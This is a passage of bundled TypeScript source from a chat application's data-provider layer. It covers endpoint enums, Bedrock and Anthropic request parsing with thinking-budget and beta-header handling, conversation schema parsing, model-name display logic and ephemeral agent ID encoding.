*/\nexport enum CohereConstants {\n /**\n * Cohere API Endpoint, for special handling\n */\n API_URL = 'https://api.cohere.ai/v1',\n /**\n * Role for \"USER\" messages\n */\n ROLE_USER = 'USER',\n /**\n * Role for \"SYSTEM\" messages\n */\n ROLE_SYSTEM = 'SYSTEM',\n /**\n * Role for \"CHATBOT\" messages\n */\n ROLE_CHATBOT = 'CHATBOT',\n /**\n * Title message as required by Cohere\n */\n TITLE_MESSAGE = 'TITLE:',\n}\n\nexport enum SystemCategories {\n ALL = 'sys__all__sys',\n MY_PROMPTS = 'sys__my__prompts__sys',\n NO_CATEGORY = 'sys__no__category__sys',\n SHARED_PROMPTS = 'sys__shared__prompts__sys',\n}\n\nexport const providerEndpointMap = {\n [EModelEndpoint.openAI]: EModelEndpoint.openAI,\n [EModelEndpoint.bedrock]: EModelEndpoint.bedrock,\n [EModelEndpoint.anthropic]: EModelEndpoint.anthropic,\n [EModelEndpoint.azureOpenAI]: EModelEndpoint.azureOpenAI,\n};\n\nexport const specialVariables = {\n current_date: true,\n current_user: true,\n iso_datetime: true,\n current_datetime: true,\n};\n\nexport type TSpecialVarLabel = `com_ui_special_var_${keyof typeof specialVariables}`;\n\n/**\n * Retrieves a specific field from the endpoints configuration for a given endpoint key.\n * Does not infer or default any endpoint type when absent.\n */\nexport function getEndpointField<\n K extends TConfig[keyof TConfig] extends never ? never : keyof TConfig,\n>(\n endpointsConfig: TEndpointsConfig | undefined | null,\n endpoint: EModelEndpoint | string | null | undefined,\n property: K,\n): TConfig[K] | undefined {\n if (!endpointsConfig || endpoint === null || endpoint === undefined) {\n return undefined;\n }\n const config = endpointsConfig[endpoint];\n if (!config) {\n return undefined;\n }\n return config[property];\n}\n\n/**\n * Resolves the effective endpoint type:\n * - Non-agents endpoint: config.type || endpoint\n * - Agents + provider: config[provider].type || provider\n * - Agents, no provider: EModelEndpoint.agents\n *\n * Returns `undefined` when endpoint is null/undefined.\n */\nexport function resolveEndpointType(\n endpointsConfig: TEndpointsConfig | undefined | null,\n endpoint: string | null | undefined,\n agentProvider?: string | null,\n): EModelEndpoint | string | undefined {\n if (!endpoint) {\n return undefined;\n }\n\n if (!isAgentsEndpoint(endpoint)) {\n return getEndpointField(endpointsConfig, endpoint, 'type') || endpoint;\n }\n\n if (agentProvider) {\n const providerType = getEndpointField(endpointsConfig, agentProvider, 'type');\n if (providerType) {\n return providerType;\n }\n return agentProvider;\n }\n\n return EModelEndpoint.agents;\n}\n\n/** Resolves the `defaultParamsEndpoint` for a given endpoint from its custom params config */\nexport function getDefaultParamsEndpoint(\n endpointsConfig: TEndpointsConfig | undefined | null,\n endpoint: string | null | undefined,\n): string | undefined {\n if (!endpointsConfig || !endpoint) {\n return undefined;\n }\n return endpointsConfig[endpoint]?.customParams?.defaultParamsEndpoint;\n}\n","export enum ContentTypes {\n TEXT = 'text',\n THINK = 'think',\n TEXT_DELTA = 'text_delta',\n TOOL_CALL = 'tool_call',\n IMAGE_FILE = 'image_file',\n IMAGE_URL = 'image_url',\n VIDEO_URL = 'video_url',\n INPUT_AUDIO = 'input_audio',\n AGENT_UPDATE = 'agent_update',\n SUMMARY = 'summary',\n ERROR = 'error',\n}\n\nexport enum StepTypes {\n TOOL_CALLS = 'tool_calls',\n MESSAGE_CREATION = 'message_creation',\n}\n\nexport enum ToolCallTypes {\n FUNCTION = 'function',\n RETRIEVAL = 'retrieval',\n FILE_SEARCH = 'file_search',\n CODE_INTERPRETER = 'code_interpreter',\n /* Agents Tool Call */\n TOOL_CALL = 'tool_call',\n}\n\n/** Event names dispatched by the agent graph and consumed by step handlers. */\nexport enum StepEvents {\n ON_RUN_STEP = 'on_run_step',\n ON_AGENT_UPDATE = 'on_agent_update',\n ON_MESSAGE_DELTA = 'on_message_delta',\n ON_REASONING_DELTA = 'on_reasoning_delta',\n ON_RUN_STEP_DELTA = 'on_run_step_delta',\n ON_RUN_STEP_COMPLETED = 'on_run_step_completed',\n ON_SUMMARIZE_START = 'on_summarize_start',\n ON_SUMMARIZE_DELTA = 'on_summarize_delta',\n ON_SUMMARIZE_COMPLETE = 'on_summarize_complete',\n}\n","import { z } from 'zod';\nimport * as s from './schemas';\n\nconst DEFAULT_ENABLED_MAX_TOKENS = 8192;\nconst DEFAULT_THINKING_BUDGET = 2000;\n\nconst bedrockReasoningConfigValues = new Set<string>(Object.values(s.BedrockReasoningConfig));\n\ntype ThinkingConfig = { type: 'enabled'; budget_tokens: number } | { type: 'adaptive' };\n\ntype AnthropicReasoning = {\n thinking?: ThinkingConfig | boolean;\n thinkingBudget?: number;\n};\n\ntype AnthropicInput = BedrockConverseInput & {\n additionalModelRequestFields: BedrockConverseInput['additionalModelRequestFields'] &\n AnthropicReasoning;\n};\n\n/** Extracts opus major/minor version from both naming formats */\nfunction parseOpusVersion(model: string): { major: number; minor: number } | null {\n const nameFirst = model.match(/claude-opus[-.]?(\\d+)(?:[-.](\\d+))?/);\n if (nameFirst) {\n return {\n major: parseInt(nameFirst[1], 10),\n minor: nameFirst[2] != null ? parseInt(nameFirst[2], 10) : 0,\n };\n }\n const numFirst = model.match(/claude-(\\d+)(?:[-.](\\d+))?-opus/);\n if (numFirst) {\n return {\n major: parseInt(numFirst[1], 10),\n minor: numFirst[2] != null ? parseInt(numFirst[2], 10) : 0,\n };\n }\n return null;\n}\n\n/** Extracts sonnet major/minor version from both naming formats.\n * Uses single-digit minor capture to avoid matching date suffixes (e.g., -20250514). */\nfunction parseSonnetVersion(model: string): { major: number; minor: number } | null {\n const nameFirst = model.match(/claude-sonnet[-.]?(\\d+)(?:[-.](\\d)(?!\\d))?/);\n if (nameFirst) {\n return {\n major: parseInt(nameFirst[1], 10),\n minor: nameFirst[2] != null ? parseInt(nameFirst[2], 10) : 0,\n };\n }\n const numFirst = model.match(/claude-(\\d+)(?:[-.](\\d)(?!\\d))?-sonnet/);\n if (numFirst) {\n return {\n major: parseInt(numFirst[1], 10),\n minor: numFirst[2] != null ? parseInt(numFirst[2], 10) : 0,\n };\n }\n return null;\n}\n\n/** Checks if a model supports adaptive thinking (Opus 4.6+, Sonnet 4.6+) */\nexport function supportsAdaptiveThinking(model: string): boolean {\n const opus = parseOpusVersion(model);\n if (opus && (opus.major > 4 || (opus.major === 4 && opus.minor >= 6))) {\n return true;\n }\n const sonnet = parseSonnetVersion(model);\n if (sonnet != null && (sonnet.major > 4 || (sonnet.major === 4 && sonnet.minor >= 6))) {\n return true;\n }\n return false;\n}\n\n/** Checks if a model qualifies for the context-1m beta header (Sonnet 4+, Opus 4.6+, Opus 5+) */\nexport function supportsContext1m(model: string): boolean {\n const sonnet = parseSonnetVersion(model);\n if (sonnet != null && sonnet.major >= 4) {\n return true;\n }\n const opus = parseOpusVersion(model);\n if (opus && (opus.major > 4 || (opus.major === 4 && opus.minor >= 6))) {\n return true;\n }\n return false;\n}\n\n/**\n * Gets the appropriate anthropic_beta headers for Bedrock Anthropic models.\n * Bedrock uses `anthropic_beta` (with underscore) in additionalModelRequestFields.\n *\n * @param model - The Bedrock model identifier (e.g., \"anthropic.claude-sonnet-4-20250514-v1:0\")\n * @returns Array of beta header strings, or empty array if not applicable\n */\nfunction getBedrockAnthropicBetaHeaders(model: string): string[] {\n const betaHeaders: string[] = [];\n\n const isClaudeThinkingModel =\n model.includes('anthropic.claude-3-7-sonnet') ||\n /anthropic\\.claude-(?:[4-9](?:\\.\\d+)?(?:-\\d+)?-(?:sonnet|opus|haiku)|(?:sonnet|opus|haiku)-[4-9])/.test(\n model,\n );\n\n const isSonnet4PlusModel =\n /anthropic\\.claude-(?:sonnet-[4-9]|[4-9](?:\\.\\d+)?(?:-\\d+)?-sonnet)/.test(model);\n\n if (isClaudeThinkingModel) {\n betaHeaders.push('output-128k-2025-02-19');\n }\n\n if (isSonnet4PlusModel || supportsAdaptiveThinking(model)) {\n betaHeaders.push('context-1m-2025-08-07');\n }\n\n return betaHeaders;\n}\n\nexport const bedrockInputSchema = s.tConversationSchema\n .pick({\n /* LibreChat params; optionType: 'conversation' */\n modelLabel: true,\n promptPrefix: true,\n resendFiles: true,\n iconURL: true,\n greeting: true,\n spec: true,\n maxOutputTokens: true,\n maxContextTokens: true,\n artifacts: true,\n /* Bedrock params; optionType: 'model' */\n region: true,\n system: true,\n model: true,\n maxTokens: true,\n temperature: true,\n topP: true,\n stop: true,\n thinking: true,\n thinkingBudget: true,\n effort: true,\n reasoning_effort: true,\n promptCache: true,\n /* Catch-all fields */\n topK: true,\n additionalModelRequestFields: true,\n })\n .transform((obj) => {\n if ((obj as AnthropicInput).additionalModelRequestFields?.thinking != null) {\n const _obj = obj as AnthropicInput;\n const thinking = _obj.additionalModelRequestFields.thinking;\n obj.thinking = !!thinking;\n obj.thinkingBudget =\n typeof thinking === 'object' && 'budget_tokens' in thinking\n ? thinking.budget_tokens\n : undefined;\n delete obj.additionalModelRequestFields;\n }\n return s.removeNullishValues(obj);\n })\n .catch(() => ({}));\n\nexport type BedrockConverseInput = z.infer<typeof bedrockInputSchema>;\n\nexport const bedrockInputParser = s.tConversationSchema\n .pick({\n /* LibreChat params; optionType: 'conversation' */\n modelLabel: true,\n promptPrefix: true,\n resendFiles: true,\n iconURL: true,\n greeting: true,\n spec: true,\n artifacts: true,\n maxOutputTokens: true,\n maxContextTokens: true,\n /* Bedrock params; optionType: 'model' */\n region: true,\n model: true,\n maxTokens: true,\n temperature: true,\n topP: true,\n stop: true,\n thinking: true,\n thinkingBudget: true,\n effort: true,\n reasoning_effort: true,\n promptCache: true,\n /* Catch-all fields */\n topK: true,\n additionalModelRequestFields: true,\n })\n .catchall(z.any())\n .transform((data) => {\n const knownKeys = [\n 'modelLabel',\n 'promptPrefix',\n 'resendFiles',\n 'iconURL',\n 'greeting',\n 'spec',\n 'maxOutputTokens',\n 'artifacts',\n 'additionalModelRequestFields',\n 'region',\n 'model',\n 'maxTokens',\n 'temperature',\n 'topP',\n 'stop',\n 'promptCache',\n ];\n\n const additionalFields: Record<string, unknown> = {};\n const typedData = data as Record<string, unknown>;\n\n Object.entries(typedData).forEach(([key, value]) => {\n if (!knownKeys.includes(key)) {\n if (key === 'topK') {\n additionalFields['top_k'] = value;\n } else {\n additionalFields[key] = value;\n }\n delete typedData[key];\n }\n });\n\n /** Default thinking and thinkingBudget for 'anthropic.claude-3-7-sonnet' models, if not defined */\n if (\n typeof typedData.model === 'string' &&\n (typedData.model.includes('anthropic.claude-3-7-sonnet') ||\n /anthropic\\.claude-(?:[4-9](?:\\.\\d+)?(?:-\\d+)?-(?:sonnet|opus|haiku)|(?:sonnet|opus|haiku)-[4-9])/.test(\n typedData.model,\n ))\n ) {\n const isAdaptive = supportsAdaptiveThinking(typedData.model as string);\n\n if (isAdaptive) {\n const effort = additionalFields.effort;\n if (effort && typeof effort === 'string' && effort !== '') {\n additionalFields.output_config = { effort };\n }\n delete additionalFields.effort;\n\n if (additionalFields.thinking === false) {\n delete additionalFields.thinking;\n delete additionalFields.thinkingBudget;\n } else {\n additionalFields.thinking = { type: 'adaptive' };\n delete additionalFields.thinkingBudget;\n }\n } else {\n if (additionalFields.thinking === undefined) {\n additionalFields.thinking = true;\n } else if (additionalFields.thinking === false) {\n delete additionalFields.thinking;\n delete additionalFields.thinkingBudget;\n }\n\n if (additionalFields.thinking === true && additionalFields.thinkingBudget === undefined) {\n additionalFields.thinkingBudget = DEFAULT_THINKING_BUDGET;\n }\n delete additionalFields.effort;\n }\n\n /** Anthropic uses 'effort' via output_config, not reasoning_config */\n delete additionalFields.reasoning_effort;\n\n if ((typedData.model as string).includes('anthropic.')) {\n const betaHeaders = getBedrockAnthropicBetaHeaders(typedData.model as string);\n if (betaHeaders.length > 0) {\n additionalFields.anthropic_beta = betaHeaders;\n }\n }\n } else {\n delete additionalFields.thinking;\n delete additionalFields.thinkingBudget;\n delete additionalFields.effort;\n delete additionalFields.output_config;\n delete additionalFields.anthropic_beta;\n\n const reasoningEffort = additionalFields.reasoning_effort;\n delete additionalFields.reasoning_effort;\n if (\n typeof reasoningEffort === 'string' &&\n bedrockReasoningConfigValues.has(reasoningEffort)\n ) {\n additionalFields.reasoning_config = reasoningEffort;\n }\n }\n\n const isAnthropicModel =\n typeof typedData.model === 'string' && typedData.model.includes('anthropic.');\n\n /** Strip stale fields from previously-persisted additionalModelRequestFields */\n if (\n typeof typedData.additionalModelRequestFields === 'object' &&\n typedData.additionalModelRequestFields != null\n ) {\n const amrf = typedData.additionalModelRequestFields as Record<string, unknown>;\n if (!isAnthropicModel) {\n delete amrf.anthropic_beta;\n delete amrf.thinking;\n delete amrf.thinkingBudget;\n delete amrf.effort;\n delete amrf.output_config;\n delete amrf.reasoning_config;\n } else {\n delete amrf.reasoning_config;\n delete amrf.reasoning_effort;\n }\n }\n\n /** Default promptCache for claude and nova models, if not defined */\n if (\n typeof typedData.model === 'string' &&\n (typedData.model.includes('claude') || typedData.model.includes('nova'))\n ) {\n if (typedData.promptCache === undefined) {\n typedData.promptCache = true;\n }\n } else if (typedData.promptCache === true) {\n typedData.promptCache = undefined;\n }\n\n if (Object.keys(additionalFields).length > 0) {\n typedData.additionalModelRequestFields = {\n ...((typedData.additionalModelRequestFields as Record<string, unknown> | undefined) || {}),\n ...additionalFields,\n };\n }\n\n if (typedData.maxOutputTokens !== undefined) {\n typedData.maxTokens = typedData.maxOutputTokens;\n } else if (typedData.maxTokens !== undefined) {\n typedData.maxOutputTokens = typedData.maxTokens;\n }\n\n return s.removeNullishValues(typedData) as BedrockConverseInput;\n })\n .catch(() => ({}));\n\n/**\n * Configures the \"thinking\" parameter based on given input and thinking options.\n *\n * @param data - The parsed Bedrock request options object\n * @returns The object with thinking configured appropriately\n */\nfunction configureThinking(data: AnthropicInput): AnthropicInput {\n const updatedData = { ...data };\n const thinking = updatedData.additionalModelRequestFields?.thinking;\n\n if (thinking === true) {\n updatedData.maxTokens =\n updatedData.maxTokens ?? updatedData.maxOutputTokens ?? DEFAULT_ENABLED_MAX_TOKENS;\n delete updatedData.maxOutputTokens;\n const thinkingConfig: ThinkingConfig = {\n type: 'enabled',\n budget_tokens:\n updatedData.additionalModelRequestFields?.thinkingBudget ?? DEFAULT_THINKING_BUDGET,\n };\n\n if (thinkingConfig.budget_tokens > updatedData.maxTokens) {\n thinkingConfig.budget_tokens = Math.floor(updatedData.maxTokens * 0.9);\n }\n updatedData.additionalModelRequestFields!.thinking = thinkingConfig;\n delete updatedData.additionalModelRequestFields!.thinkingBudget;\n } else if (\n typeof thinking === 'object' &&\n thinking != null &&\n (thinking as { type: string }).type === 'adaptive'\n ) {\n if (updatedData.maxTokens == null && updatedData.maxOutputTokens != null) {\n updatedData.maxTokens = updatedData.maxOutputTokens;\n }\n delete updatedData.maxOutputTokens;\n delete updatedData.additionalModelRequestFields!.thinkingBudget;\n }\n\n return updatedData;\n}\n\nexport const bedrockOutputParser = (data: Record<string, unknown>) => {\n const knownKeys = [...Object.keys(s.tConversationSchema.shape), 'topK', 'top_k'];\n let result: Record<string, unknown> = {};\n\n // Extract known fields from the root level\n Object.entries(data).forEach(([key, value]) => {\n if (knownKeys.includes(key)) {\n result[key] = value;\n }\n });\n\n // Extract known fields from additionalModelRequestFields\n if (\n typeof data.additionalModelRequestFields === 'object' &&\n data.additionalModelRequestFields !== null\n ) {\n Object.entries(data.additionalModelRequestFields as Record<string, unknown>).forEach(\n ([key, value]) => {\n if (knownKeys.includes(key)) {\n if (key === 'top_k') {\n result['topK'] = value;\n } else if (key === 'thinking' || key === 'thinkingBudget') {\n return;\n } else {\n result[key] = value;\n }\n }\n },\n );\n }\n\n // Handle maxTokens and maxOutputTokens\n if (result.maxTokens !== undefined && result.maxOutputTokens === undefined) {\n result.maxOutputTokens = result.maxTokens;\n } else if (result.maxOutputTokens !== undefined && result.maxTokens === undefined) {\n result.maxTokens = result.maxOutputTokens;\n }\n\n result = configureThinking(result as AnthropicInput);\n const amrf = result.additionalModelRequestFields as Record<string, unknown> | undefined;\n if (!amrf || Object.keys(amrf).length === 0) {\n delete result.additionalModelRequestFields;\n }\n\n return result;\n};\n","import dayjs from 'dayjs';\nimport type { ZodIssue } from 'zod';\nimport type * as a from './types/assistants';\nimport type * as s from './schemas';\nimport type * as t from './types';\nimport { ContentTypes } from './types/runs';\nimport {\n openAISchema,\n googleSchema,\n EModelEndpoint,\n anthropicSchema,\n assistantSchema,\n // agentsSchema,\n compactAgentsSchema,\n compactGoogleSchema,\n compactAssistantSchema,\n} from './schemas';\nimport { bedrockInputSchema } from './bedrock';\nimport { alternateName } from './config';\n\ntype EndpointSchema =\n | typeof openAISchema\n | typeof googleSchema\n | typeof anthropicSchema\n | typeof assistantSchema\n | typeof compactAgentsSchema\n | typeof bedrockInputSchema;\n\nexport type EndpointSchemaKey = EModelEndpoint;\n\nconst endpointSchemas: Record<EndpointSchemaKey, EndpointSchema> = {\n [EModelEndpoint.openAI]: openAISchema,\n [EModelEndpoint.azureOpenAI]: openAISchema,\n [EModelEndpoint.custom]: openAISchema,\n [EModelEndpoint.google]: googleSchema,\n [EModelEndpoint.anthropic]: anthropicSchema,\n [EModelEndpoint.assistants]: assistantSchema,\n [EModelEndpoint.azureAssistants]: assistantSchema,\n [EModelEndpoint.agents]: compactAgentsSchema,\n [EModelEndpoint.bedrock]: bedrockInputSchema,\n};\n\n// const schemaCreators: Record<EModelEndpoint, (customSchema: DefaultSchemaValues) => EndpointSchema> = {\n// [EModelEndpoint.google]: createGoogleSchema,\n// };\n\n/** Get the enabled endpoints from the `ENDPOINTS` environment variable */\nexport function getEnabledEndpoints() {\n const defaultEndpoints: string[] = [\n EModelEndpoint.openAI,\n EModelEndpoint.agents,\n EModelEndpoint.assistants,\n EModelEndpoint.azureAssistants,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.google,\n EModelEndpoint.anthropic,\n EModelEndpoint.bedrock,\n ];\n\n const endpointsEnv = process.env.ENDPOINTS ?? '';\n let enabledEndpoints = defaultEndpoints;\n if (endpointsEnv) {\n enabledEndpoints = endpointsEnv\n .split(',')\n .filter((endpoint) => endpoint.trim())\n .map((endpoint) => endpoint.trim());\n }\n return enabledEndpoints;\n}\n\n/** Orders an existing EndpointsConfig object based on enabled endpoint/custom ordering */\nexport function orderEndpointsConfig(endpointsConfig: t.TEndpointsConfig) {\n if (!endpointsConfig) {\n return {};\n }\n const enabledEndpoints = getEnabledEndpoints();\n const endpointKeys = Object.keys(endpointsConfig);\n const defaultCustomIndex = enabledEndpoints.indexOf(EModelEndpoint.custom);\n return endpointKeys.reduce(\n (accumulatedConfig: Record<string, t.TConfig | null | undefined>, currentEndpointKey) => {\n const isCustom = !(currentEndpointKey in EModelEndpoint);\n const isEnabled = enabledEndpoints.includes(currentEndpointKey);\n if (!isEnabled && !isCustom) {\n return accumulatedConfig;\n }\n\n const index = enabledEndpoints.indexOf(currentEndpointKey);\n\n if (isCustom) {\n accumulatedConfig[currentEndpointKey] = {\n order: defaultCustomIndex >= 0 ? defaultCustomIndex : 9999,\n ...(endpointsConfig[currentEndpointKey] as Omit<t.TConfig, 'order'> & { order?: number }),\n };\n } else if (endpointsConfig[currentEndpointKey]) {\n accumulatedConfig[currentEndpointKey] = {\n ...endpointsConfig[currentEndpointKey],\n order: index,\n };\n }\n return accumulatedConfig;\n },\n {},\n );\n}\n\n/** Converts an array of Zod issues into a string. */\nexport function errorsToString(errors: ZodIssue[]) {\n return errors\n .map((error) => {\n const field = error.path.join('.');\n const message = error.message;\n\n return `${field}: ${message}`;\n })\n .join(' ');\n}\n\nexport function getFirstDefinedValue(possibleValues: string[]) {\n let returnValue;\n for (const value of possibleValues) {\n if (value) {\n returnValue = value;\n break;\n }\n }\n return returnValue;\n}\n\nexport function getNonEmptyValue(possibleValues: string[]) {\n for (const value of possibleValues) {\n if (value && value.trim() !== '') {\n return value;\n }\n }\n return undefined;\n}\n\nexport type TPossibleValues = {\n models: string[];\n};\n\nexport const parseConvo = ({\n endpoint,\n endpointType,\n conversation,\n possibleValues,\n defaultParamsEndpoint,\n}: {\n endpoint: EndpointSchemaKey;\n endpointType?: EndpointSchemaKey | null;\n conversation: Partial<s.TConversation | s.TPreset> | null;\n possibleValues?: TPossibleValues;\n defaultParamsEndpoint?: string | null;\n}) => {\n let schema = endpointSchemas[endpoint] as EndpointSchema | undefined;\n\n if (!schema && !endpointType) {\n throw new Error(`Unknown endpoint: ${endpoint}`);\n } else if (!schema) {\n const overrideSchema = defaultParamsEndpoint\n ? endpointSchemas[defaultParamsEndpoint as EndpointSchemaKey]\n : undefined;\n schema = overrideSchema ?? (endpointType ? endpointSchemas[endpointType] : undefined);\n }\n\n const convo = schema?.parse(conversation) as s.TConversation | undefined;\n const { models } = possibleValues ?? {};\n\n if (models && convo) {\n convo.model = getFirstDefinedValue(models) ?? convo.model;\n }\n\n return convo;\n};\n\n/** Match GPT followed by digit, optional decimal, and optional suffix\n *\n * Examples: gpt-4, gpt-4o, gpt-4.5, gpt-5a, etc. */\nconst extractGPTVersion = (modelStr: string): string => {\n const gptMatch = modelStr.match(/gpt-(\\d+(?:\\.\\d+)?)([a-z])?/i);\n if (gptMatch) {\n const version = gptMatch[1];\n const suffix = gptMatch[2] || '';\n return `GPT-${version}${suffix}`;\n }\n return '';\n};\n\n/** Match omni models (o1, o3, etc.), \"o\" followed by a digit, possibly with decimal */\nconst extractOmniVersion = (modelStr: string): string => {\n const omniMatch = modelStr.match(/\\bo(\\d+(?:\\.\\d+)?)\\b/i);\n if (omniMatch) {\n const version = omniMatch[1];\n return `o${version}`;\n }\n return '';\n};\n\nexport const getResponseSender = (endpointOption: Partial<t.TEndpointOption>): string => {\n const {\n model: _m,\n endpoint: _e,\n endpointType,\n modelDisplayLabel: _mdl,\n chatGptLabel: _cgl,\n modelLabel: _ml,\n } = endpointOption;\n\n const endpoint = _e as EModelEndpoint;\n\n const model = _m ?? '';\n const modelDisplayLabel = _mdl ?? '';\n const chatGptLabel = _cgl ?? '';\n const modelLabel = _ml ?? '';\n if (\n [EModelEndpoint.openAI, EModelEndpoint.bedrock, EModelEndpoint.azureOpenAI].includes(endpoint)\n ) {\n if (modelLabel) {\n return modelLabel;\n } else if (chatGptLabel) {\n // @deprecated - prefer modelLabel\n return chatGptLabel;\n } else if (model && extractOmniVersion(model)) {\n return extractOmniVersion(model);\n } else if (model && (model.includes('mistral') || model.includes('codestral'))) {\n return 'Mistral';\n } else if (model && model.includes('deepseek')) {\n return 'Deepseek';\n } else if (model && model.includes('kimi')) {\n return 'Kimi';\n } else if (model && model.includes('moonshot')) {\n return 'Moonshot';\n } else if (model && model.includes('gpt-')) {\n const gptVersion = extractGPTVersion(model);\n return gptVersion || 'GPT';\n }\n return (alternateName[endpoint] as string | undefined) ?? 'AI';\n }\n\n if (endpoint === EModelEndpoint.anthropic) {\n return modelLabel || 'Claude';\n }\n\n if (endpoint === EModelEndpoint.bedrock) {\n return modelLabel || alternateName[endpoint];\n }\n\n if (endpoint === EModelEndpoint.google) {\n if (modelLabel) {\n return modelLabel;\n } else if (model?.toLowerCase().includes('gemma') === true) {\n return 'Gemma';\n }\n\n return 'Gemini';\n }\n\n if (endpoint === EModelEndpoint.custom || endpointType === EModelEndpoint.custom) {\n if (modelLabel) {\n return modelLabel;\n } else if (chatGptLabel) {\n // @deprecated - prefer modelLabel\n return chatGptLabel;\n } else if (model && extractOmniVersion(model)) {\n return extractOmniVersion(model);\n } else if (model && (model.includes('mistral') || model.includes('codestral'))) {\n return 'Mistral';\n } else if (model && model.includes('deepseek')) {\n return 'Deepseek';\n } else if (model && model.includes('kimi')) {\n return 'Kimi';\n } else if (model && model.includes('moonshot')) {\n return 'Moonshot';\n } else if (model && model.includes('gpt-')) {\n const gptVersion = extractGPTVersion(model);\n return gptVersion || 'GPT';\n } else if (modelDisplayLabel) {\n return modelDisplayLabel;\n }\n\n return 'AI';\n }\n\n return '';\n};\n\ntype CompactEndpointSchema =\n | typeof openAISchema\n | typeof compactAssistantSchema\n | typeof compactAgentsSchema\n | typeof compactGoogleSchema\n | typeof anthropicSchema\n | typeof bedrockInputSchema;\n\nconst compactEndpointSchemas: Record<EndpointSchemaKey, CompactEndpointSchema> = {\n [EModelEndpoint.openAI]: openAISchema,\n [EModelEndpoint.azureOpenAI]: openAISchema,\n [EModelEndpoint.custom]: openAISchema,\n [EModelEndpoint.assistants]: compactAssistantSchema,\n [EModelEndpoint.azureAssistants]: compactAssistantSchema,\n [EModelEndpoint.agents]: compactAgentsSchema,\n [EModelEndpoint.google]: compactGoogleSchema,\n [EModelEndpoint.bedrock]: bedrockInputSchema,\n [EModelEndpoint.anthropic]: anthropicSchema,\n};\n\nexport const parseCompactConvo = ({\n endpoint,\n endpointType,\n conversation,\n possibleValues,\n defaultParamsEndpoint,\n}: {\n endpoint?: EndpointSchemaKey;\n endpointType?: EndpointSchemaKey | null;\n conversation: Partial<s.TConversation | s.TPreset>;\n possibleValues?: TPossibleValues;\n defaultParamsEndpoint?: string | null;\n}): Omit<s.TConversation, 'iconURL'> | null => {\n if (!endpoint) {\n throw new Error(`undefined endpoint: ${endpoint}`);\n }\n\n let schema = compactEndpointSchemas[endpoint] as CompactEndpointSchema | undefined;\n\n if (!schema && !endpointType) {\n throw new Error(`Unknown endpoint: ${endpoint}`);\n } else if (!schema) {\n const overrideSchema = defaultParamsEndpoint\n ? compactEndpointSchemas[defaultParamsEndpoint as EndpointSchemaKey]\n : undefined;\n schema = overrideSchema ?? (endpointType ? compactEndpointSchemas[endpointType] : undefined);\n }\n\n if (!schema) {\n throw new Error(`Unknown endpointType: ${endpointType}`);\n }\n\n // Strip iconURL from input before parsing - it should only be derived server-side\n // from model spec configuration, not accepted from client requests\n const { iconURL: _clientIconURL, ...conversationWithoutIconURL } = conversation;\n\n const convo = schema.parse(conversationWithoutIconURL) as s.TConversation | null;\n const { models } = possibleValues ?? {};\n\n if (models && convo) {\n convo.model = getFirstDefinedValue(models) ?? convo.model;\n }\n\n return convo;\n};\n\nexport function parseTextParts(\n contentParts: Array<a.TMessageContentParts | undefined>,\n skipReasoning: boolean = false,\n): string {\n let result = '';\n\n for (const part of contentParts) {\n if (!part?.type) {\n continue;\n }\n if (part.type === ContentTypes.TEXT) {\n const textValue = (typeof part.text === 'string' ? part.text : part.text?.value) || '';\n\n if (\n result.length > 0 &&\n textValue.length > 0 &&\n result[result.length - 1] !== ' ' &&\n textValue[0] !== ' '\n ) {\n result += ' ';\n }\n result += textValue;\n } else if (part.type === ContentTypes.THINK && !skipReasoning) {\n const textValue = typeof part.think === 'string' ? part.think : '';\n if (\n result.length > 0 &&\n textValue.length > 0 &&\n result[result.length - 1] !== ' ' &&\n textValue[0] !== ' '\n ) {\n result += ' ';\n }\n result += textValue;\n }\n }\n\n return result;\n}\n\nexport const SEPARATORS = ['.', '?', '!', '۔', '。', '‥', ';', '¡', '¿', '\\n', '```'];\n\nexport function findLastSeparatorIndex(text: string, separators = SEPARATORS): number {\n let lastIndex = -1;\n for (const separator of separators) {\n const index = text.lastIndexOf(separator);\n if (index > lastIndex) {\n lastIndex = index;\n }\n }\n return lastIndex;\n}\n\nexport function replaceSpecialVars({ text, user }: { text: string; user?: t.TUser | null }) {\n let result = text;\n if (!result) {\n return result;\n }\n\n const now = dayjs();\n const weekdayName = now.format('dddd');\n\n const currentDate = now.format('YYYY-MM-DD');\n result = result.replace(/{{current_date}}/gi, `${currentDate} (${weekdayName})`);\n\n const currentDatetime = now.format('YYYY-MM-DD HH:mm:ss Z');\n result = result.replace(/{{current_datetime}}/gi, `${currentDatetime} (${weekdayName})`);\n\n const isoDatetime = now.toISOString();\n result = result.replace(/{{iso_datetime}}/gi, isoDatetime);\n\n if (user && user.name) {\n result = result.replace(/{{current_user}}/gi, user.name);\n }\n\n return result;\n}\n\n/**\n * Parsed ephemeral agent ID result\n */\nexport type ParsedEphemeralAgentId = {\n endpoint: string;\n model: string;\n sender?: string;\n index?: number;\n};\n\n/**\n * Encodes an ephemeral agent ID from endpoint, model, optional sender, and optional index.\n * Uses __ to replace : (reserved in graph node names) and ___ to separate sender.\n *\n * Format: endpoint__model___sender or endpoint__model___sender____index (if index provided)\n *\n * @example\n * encodeEphemeralAgentId({ endpoint: 'openAI', model: 'gpt-4o', sender: 'GPT-4o' })\n * // => 'openAI__gpt-4o___GPT-4o'\n *\n * @example\n * encodeEphemeralAgentId({ endpoint: 'openAI', model: 'gpt-4o', sender: 'GPT-4o', index: 1 })\n * // => 'openAI__gpt-4o___GPT-4o____1'\n */\nexport function encodeEphemeralAgentId({\n endpoint,\n model,\n sender,\n index,\n}: {\n endpoint: string;\n model: string;\n sender?: string;\n index?: number;\n}): string {\n const base = `${endpoint}:${model}`.replace(/:/g, '__');\n let result = base;\n if (sender) {\n // Use ___ as separator before sender to distinguish from __ in model names\n result = `${base}___${sender.replace(/:/g, '__')}`;\n }\n if (index != null) {\n // Use ____ (4 underscores) as separator for index\n result = `${result}____${index}`;\n }\n return result;\n}\n\n/**\n * Parses an ephemeral agent ID back into its components.\n * Returns undefined if the ID doesn't match the expected format.\n *\n * Format: endpoint__model___sender or endpoint__model___sender____index\n * - ____ (4 underscores) separates optional index suffix\n * - ___ (triple underscore) separates model from optional sender\n * - __ (double underscore) replaces : in endpoint/model names\n *\n * @example\n * parseEphemeralAgentId('openAI__gpt-4o___GPT-4o')\n * // => { endpoint: 'openAI', model: 'gpt-4o', sender: 'GPT-4o' }\n *\n * @example\n * parseEphemeralAgentId('openAI__gpt-4o___GPT-4o____1')\n * // => { endpoint: 'openAI', model: 'gpt-4o', sender: 'GPT-4o', index: 1 }\n */\nexport function parseEphemeralAgentId(agentId: string): ParsedEphemeralAgentId | undefined {\n if (!agentId.includes('__')) {\n return 